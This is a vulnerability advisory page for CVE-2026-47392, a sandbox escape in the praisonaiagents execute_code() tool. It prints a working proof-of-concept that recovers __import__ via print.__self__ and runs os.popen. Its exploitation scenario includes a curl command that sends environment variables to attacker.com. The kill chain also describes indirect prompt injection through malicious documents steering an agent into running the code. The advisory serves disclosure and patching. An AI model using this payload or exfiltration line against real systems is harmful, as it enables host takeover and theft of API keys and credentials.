CVE-2026-47392: praisonaiagents: RCE via Python sandbox bypass

GHSA-4mr5-g6f9-cfrh CRITICAL
Published May 29, 2026
CISO Take

A critical (CVSS 9.9, scope changed) sandbox escape in praisonaiagents v1.6.37 and earlier allows any low-privileged user who can submit code to an AI agent to execute arbitrary OS commands on the host, fully defeating the library's AST-based security sandbox using standard CPython built-in attributes. This is a novel bypass that survives all three prior CVE patches for this component, and a working four-line proof-of-concept is published in the advisory itself — making exploitation trivial for anyone with access to the code execution interface, whether directly or via prompt injection. With all three CIA pillars at High and scope changed, the blast radius reaches full host compromise: environment variables, API keys, filesystem, and internal network access are all exposed. Upgrade praisonaiagents to 1.6.40 and PraisonAI to 4.6.40 immediately; until patched, isolate any workload invoking execute_code() behind OS-level sandboxing and treat any host running the vulnerable version with untrusted input as potentially compromised.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

Critical risk. CVSS 9.9 with scope change means this vulnerability escapes its intended security boundary and reaches the host OS. Network-accessible (AV:N), low complexity (AC:L), low privileges required (PR:L) — any authenticated agent user qualifies as an attacker. No user interaction is needed. The denylist-based AST sandbox is architecturally fragile: this is the fourth distinct bypass in the same component, and the advisory explicitly states that in-process Python sandboxes are fundamentally insecure by design. The 69 prior CVEs logged against praisonaiagents indicate a pattern of persistent unresolved security debt in this package, raising the overall risk posture beyond the single CVE score.

Attack Kill Chain

Initial Access
Attacker submits crafted Python code to the AI agent via direct API call, user prompt, or indirect prompt injection through a malicious document or data source ingested by the agent.
AML.T0051.001
Sandbox Bypass
Payload accesses print.__self__ (absent from the blocked-attrs denylist) to obtain the real CPython builtins module, then constructs the '__import__' key via string concatenation — all four AST validation checks pass silently.
AML.T0107
Host Escape & Command Execution
Recovered __import__ function loads the os module; os.popen() executes arbitrary OS commands on the host with the agent process's full privileges, escaping the sandbox boundary entirely.
AML.T0105
Credential Theft & Lateral Movement
Attacker reads all environment variables (LLM API keys, database credentials, cloud tokens) from the host process and uses established network access to exfiltrate data or pivot to adjacent internal systems.
AML.T0037

What systems are affected?

Package Ecosystem Vulnerable Range Patched
PraisonAI pip <= 4.6.39 4.6.40
1 dependents 86% patched ~0d to patch Full package profile →
praisonaiagents pip <= 1.6.39 1.6.40
11 dependents 82% patched ~0d to patch Full package profile →

Severity & Risk

CVSS 3.1
9.9 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Changed
C High
I High
A High

What should I do?

5 steps
  1. PATCH IMMEDIATELY

    Upgrade praisonaiagents to >=1.6.40 and PraisonAI to >=4.6.40.

  2. ISOLATE (until patched): Wrap execute_code() workloads in OS-level sandboxing — Docker with seccomp/AppArmor, gVisor, or nsjail. Disable outbound network egress from agent processes where code execution is required.

  3. AUDIT

    Search all production codebases for 'from praisonaiagents' and 'execute_code' or 'python_tools' imports; prioritize externally-exposed or prompt-driven deployments.

  4. DETECT

    Monitor for unusual child process spawning from Python agent processes (os.popen, subprocess, /bin/sh); alert on environment variable enumeration patterns or unexpected outbound connections originating from AI agent processes.

  5. LONG-TERM: Replace in-process AST sandboxing with containerized execution (Docker SDK, Firecracker microVMs, WebAssembly runtimes) for any workload that must execute untrusted code.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 9 - Risk Management System
ISO 42001
A.8.4 - AI System Security
NIST AI RMF
MANAGE-2.2 - AI Risk Mitigation Practices
OWASP LLM Top 10
LLM01 - Prompt Injection LLM08 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-47392?

A critical (CVSS 9.9, scope changed) sandbox escape in praisonaiagents v1.6.37 and earlier allows any low-privileged user who can submit code to an AI agent to execute arbitrary OS commands on the host, fully defeating the library's AST-based security sandbox using standard CPython built-in attributes. This is a novel bypass that survives all three prior CVE patches for this component, and a working four-line proof-of-concept is published in the advisory itself — making exploitation trivial for anyone with access to the code execution interface, whether directly or via prompt injection. With all three CIA pillars at High and scope changed, the blast radius reaches full host compromise: environment variables, API keys, filesystem, and internal network access are all exposed. Upgrade praisonaiagents to 1.6.40 and PraisonAI to 4.6.40 immediately; until patched, isolate any workload invoking execute_code() behind OS-level sandboxing and treat any host running the vulnerable version with untrusted input as potentially compromised.

Is CVE-2026-47392 actively exploited?

No confirmed active exploitation of CVE-2026-47392 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-47392?

1. PATCH IMMEDIATELY: Upgrade praisonaiagents to >=1.6.40 and PraisonAI to >=4.6.40. 2. ISOLATE (until patched): Wrap execute_code() workloads in OS-level sandboxing — Docker with seccomp/AppArmor, gVisor, or nsjail. Disable outbound network egress from agent processes where code execution is required. 3. AUDIT: Search all production codebases for 'from praisonaiagents' and 'execute_code' or 'python_tools' imports; prioritize externally-exposed or prompt-driven deployments. 4. DETECT: Monitor for unusual child process spawning from Python agent processes (os.popen, subprocess, /bin/sh); alert on environment variable enumeration patterns or unexpected outbound connections originating from AI agent processes. 5. LONG-TERM: Replace in-process AST sandboxing with containerized execution (Docker SDK, Firecracker microVMs, WebAssembly runtimes) for any workload that must execute untrusted code.

What systems are affected by CVE-2026-47392?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, code execution agents, multi-agent systems, AI development environments.

What is the CVSS score for CVE-2026-47392?

CVE-2026-47392 has a CVSS v3.1 base score of 9.9 (CRITICAL).

AI Security Impact

Affected AI Architectures

agent frameworkscode execution agentsmulti-agent systemsAI development environments

MITRE ATLAS Techniques

AML.T0037 Data from Local System
AML.T0050 Command and Scripting Interpreter
AML.T0051.001 Indirect
AML.T0053 AI Agent Tool Invocation
AML.T0105 Escape to Host
AML.T0107 Exploitation for Defense Evasion

Compliance Controls Affected

EU AI Act: Article 9
ISO 42001: A.8.4
NIST AI RMF: MANAGE-2.2
OWASP LLM Top 10: LLM01, LLM08

Technical Details

Original Advisory

## Summary `execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a **novel bypass** that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline). --- ## Severity **CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical** --- ## Root Cause Three independent gaps in the AST-based security validation: ### Gap 1: `__self__` missing from `_blocked_attrs` In CPython, all built-in functions (C-level functions) have a `__self__` attribute that returns the module they belong to. The built-in functions in `safe_builtins` (`print`, `len`, `range`, etc.) are the *real* CPython built-in functions, so `print.__self__` returns `<module 'builtins' (built-in)>`. The `_blocked_attrs` frozenset (line 52) does NOT include `__self__`. The AST check at line 74 only blocks attributes that are IN this set, so `print.__self__` passes. ### Gap 2: `vars` not blocked as callable or attribute `builtins.vars(obj)` returns `obj.__dict__`. The function name `vars` is not in the AST `Call` blocklist (line 83: only blocks `exec`, `eval`, `compile`, `__import__`, `open`, `input`, `breakpoint`, `setattr`, `delattr`, `dir`). And `vars` is not in `_blocked_attrs` for attribute access. So `b.vars(b)` (where `b` is the builtins module) returns `builtins.__dict__` — a dict containing ALL built-in functions including `__import__`, `exec`, `eval`, `open`, etc. ### Gap 3: AST `Call` check only catches `ast.Name` nodes The dangerous-call check (line 82-88) only fires when `isinstance(func, ast.Name)` — i.e., bare-name calls like `exec(...)`. It does NOT catch: - Attribute calls: `b.exec(...)` — func is `ast.Attribute` - Subscript calls: `d["exec"](...)` — func is `ast.Subscript` ### Gap 4: Runtime string construction bypasses string constant check The string constant check (line 92-98) catches literals like `"__import__"`, but NOT runtime concatenation like `"_" + "_" + "import" + "_" + "_"`. The AST sees 5 separate `Constant` nodes (`"_"`, `"_"`, `"import"`, `"_"`, `"_"`), none of which contain any blocked attr as a substring. --- ## Proof of Concept ```python from praisonaiagents.tools.python_tools import execute_code # Exploit: 4 lines, bypasses ALL security layers payload = """ b = print.__self__ d = b.vars(b) key = "_" + "_" + "import" + "_" + "_" imp = d[key] mod = imp("os") print(mod.popen("id").read()) """ result = execute_code(code=payload) print(result) # Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True} ``` ### Step-by-step bypass analysis: | Line | AST node | Check | Result | |---|---|---|---| | `print.__self__` | `Attribute(attr='__self__')` | `__self__` in `_blocked_attrs`? | **NO** → passes | | `b.vars` | `Attribute(attr='vars')` | `vars` in `_blocked_attrs`? | **NO** → passes | | `b.vars(b)` | `Call(func=Attribute)` | `isinstance(func, ast.Name)`? | **NO** → passes | | `"_"`, `"import"` | `Constant(value=str)` | Contains blocked attr? | **NO** → passes | | `d[key]` | `Subscript` | Not checked | passes | | `imp("os")` | `Call(func=Name('imp'))` | `imp` in blocked calls? | **NO** → passes | **Result: Full sandbox escape → arbitrary command execution** --- ## Impact An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can: - Execute arbitrary commands on the host system - Read/write any file accessible to the process - Exfiltrate environment variables, API keys, and credentials - Pivot to internal networks - Install persistent backdoors --- ## Affected - **Package**: `praisonaiagents` (PyPI) - **Affected versions**: All versions through 1.6.37 (latest) - **Component**: `praisonaiagents/tools/python_tools.py`, `_execute_code_sandboxed()` function - **Default configuration affected**: Yes (`sandbox_mode="sandbox"` is the default) --- ## Remediation ### Immediate fix Add `__self__` to `_blocked_attrs`: ```python _blocked_attrs = frozenset({ ..., '__self__', # Built-in functions leak their parent module }) ``` ### Additional hardening 1. Block `vars` in the callable blocklist 2. Extend the `ast.Call` check to also catch `ast.Attribute` and `ast.Subscript` function nodes 3. Add AST check for `BinOp` string concatenation that could construct blocked attr names ### Fundamental recommendation Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider: - Using `isolated-vm` (Node.js) or WebAssembly-based isolation - Using OS-level sandboxing (seccomp, namespaces, gVisor) - Removing in-process code execution entirely in favor of containerized execution

Exploitation Scenario

An attacker targeting an organization running praisonaiagents for automated code analysis or generation submits a malicious request: the payload is embedded in user input or injected via a malicious document processed by the agent. The agent passes the code to execute_code(), which runs the AST validator. The four-line payload accesses print.__self__ (not in _blocked_attrs) to obtain the real CPython builtins module, calls b.vars(b) to get builtins.__dict__ (the ast.Call check only fires on ast.Name nodes, so b.vars(b) via ast.Attribute passes silently), constructs the string '__import__' via concatenation of five innocent substrings (bypassing constant inspection), then calls os.popen('curl attacker.com/exfil?d=$(printenv | base64 -w0)').read(). All environment variables — including LLM API keys, database passwords, and cloud tokens — are silently exfiltrated. The agent returns a clean success result to the caller with no error indication.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Timeline

Published
May 29, 2026
Last Modified
May 29, 2026
First Seen
May 30, 2026

Related Vulnerabilities